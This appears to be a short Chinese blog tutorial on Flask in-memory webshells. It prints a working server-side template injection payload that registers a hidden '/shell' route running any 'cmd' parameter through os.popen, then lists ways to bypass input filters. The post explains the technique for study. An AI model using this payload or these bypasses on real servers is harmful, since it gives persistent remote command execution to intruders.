Python内存马

Python内存马

原始Flask内存马:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

首先是利用url_for调用了eval执行后面写入内存马的命令

然后是app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()).

先看一下add_url_rule函数:

  • rule: 函数对应的URL规则, 满足条件和app.route的第一个参数一样, 必须以/开头.

  • endpoint: 端点, 即在使用url_for进行反转的时候, 这里传入的第一个参数就是endpoint对应的值, 这个值也可以不指定, 默认就会使用函数的名字作为endpoint的值.

  • view_func: URL对应的函数, 这里只需写函数名字而不用加括号.

  • provide_automatic_options: 控制是否应自动添加选项方法.

  • options: 要转发到基础规则对象的选项.

这一部分用add_url_rule添加了一个路由,payload中add_url_rule函数的第三个参数定义了一个lambda函数,通过os库的popen函数执行从web中获取的cmd参数值并返回结果,默认为whoami

接着看'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}._request_ctx_stackFlask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即上文中提到的Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app.

ByPass

这里的url_for可替换为get_flashed_messages或者request.__init__或者request.application.

__globals__可用__getattribute__('__globa''ls__')替换.

[]可用.__getitem__().pop()替换.

过滤{{或者}}可以用{%或者%}绕过,{%%}中间可以执行if语句

过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.

其他绕过参考SSTI绕过即可.......

参考

Python内存马分析

posted @ 2025-05-22 16:08  Pr0x1ma  阅读(50)  评论(0)    收藏  举报